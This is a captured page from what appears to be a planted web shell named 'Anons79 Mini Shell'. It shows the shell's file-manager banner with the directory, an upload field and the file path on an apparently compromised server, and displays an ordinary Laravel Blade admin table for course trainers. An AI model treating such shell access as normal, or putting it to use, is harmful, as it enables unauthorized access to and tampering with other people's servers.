Anons79 Mini Shell

Directory : /home/aplikasiposinfo/.trash/resources.4/views/course_trainers/
Upload File :
Current File : /home/aplikasiposinfo/.trash/resources.4/views/course_trainers/table.blade.php

<div class="card-body p-0">
    <div class="table-responsive">
        <table class="table table-hover table-bordered table-striped default" id="course-trainers-table">
            <thead>
            <tr>
                <th>Course</th>
                <th>Trainer</th>
                <th>Users</th>
                <th colspan="3">Action</th>
            </tr>
            </thead>
            <tbody>
            @foreach($courseTrainers as $courseTrainer)
                <tr>
                    <td>{{ $courseTrainer->course->name }}</td>
                    <td>{{ $courseTrainer->trainer->full_name }}</td>
                    <td>{{ $courseTrainer->user->name }}</td>
                    <td  style="width: 120px">
                        <div class='btn-group'>
                            <a href="{{ route('courseTrainers.show', [$courseTrainer->id]) }}"
                               class='btn btn-info btn-sm'>
                                <i class="fa fa-eye"></i>
                            </a>
                            @can('courseTrainers.edit')
                            <a href="{{ route('courseTrainers.edit', [$courseTrainer->id]) }}"
                                   class='btn btn-warning btn-sm'>
                                    <i class="fa fa-edit"></i>
                                </a>
                            @endcan
                            @can('courseTrainers.destroy')
                            {!! Form::open(['route' => ['courseTrainers.destroy', $courseTrainer->id], 'method' => 'delete']) !!}
                                {!! Form::button('<i class="fa fa-trash"></i>', ['type' => 'submit', 'class' => 'btn btn-danger btn-sm', 'onclick' => "return confirm('Are you sure?')"]) !!}
                                {!! Form::close() !!}
                            @endcan
                        </div>
                    </td>
                </tr>
            @endforeach
            </tbody>
        </table>
    </div>

    <div class="card-footer clearfix">
        <div class="float-right">
            @include('adminlte-templates::common.paginate', ['records' => $courseTrainers])
        </div>
    </div>
</div>

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]